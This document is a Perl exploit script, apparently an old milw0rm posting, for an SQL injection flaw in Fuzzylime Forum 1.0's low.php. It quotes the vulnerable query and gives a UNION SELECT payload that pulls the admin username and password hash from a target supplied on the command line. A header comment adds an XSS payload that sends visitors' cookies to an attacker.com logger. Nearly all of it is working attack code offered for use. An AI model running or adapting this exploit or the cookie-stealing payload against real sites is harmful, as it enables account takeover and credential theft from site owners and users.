#!/usr/bin/perl -w

#################################################################################
#										#
#		   Fuzzylime Forum 1.0 SQL Injection Exploit			#
#										#
# Discovered by: Silentz							#
# Payload: Admin Username & Hash Retrieval					#
# Website: http://www.w4ck1ng.com						#
# 										#
# Vulnerable Code (low.php): 							#
#										#
#      $gettopicid = mysql_query("SELECT * FROM ${table_prefix}threads 		#
#      WHERE threadid='$_GET[topic]'");						#
#										#
# PoC: http://victim.com/low.php?topic=' UNION SELECT 0,0,0,CONCAT(CHAR(58),	#
#      username,CHAR(58),password),0,0,0,0,0 FROM flforum_users WHERE 		#
#      userid=1/*								#
# 										#
# Subject To: magic_quotes_gpc set to off					#
# GoogleDork: Get your own!							#
#										#
# Shoutz: The entire w4ck1ng community						#
#										#
# NOTE: You can also grab the username & hash via a cookie logger and this XSS:	#
#										#
#	http://victim.com/low.php?topic="><script>document.location=		#
#       "http://attacker.com/logger.php?var="+document.cookie</script>		#
#										#
#################################################################################

use LWP::UserAgent;
die "Example: exploit.pl http://victim.com/\n" unless @ARGV;

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $ARGV[0] . "low.php?topic=' UNION SELECT 0,0,0,CONCAT(CHAR(58),username,CHAR(58),password),0,0,0,0,0 FROM flforum_users WHERE userid=1/*";

$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;

if ($answer =~ /raquo; :(.*?):/){
	print "\nBrought to you by w4ck1ng.com...\n";
	print "\n[+] Admin User : $1";
}

if ($answer =~/([0-9a-fA-F]{32})/){print "\n[+] Admin Hash : $1\n";}

else{print "\n[-] Exploit Failed...\n";}

# milw0rm.com [2007-06-12]
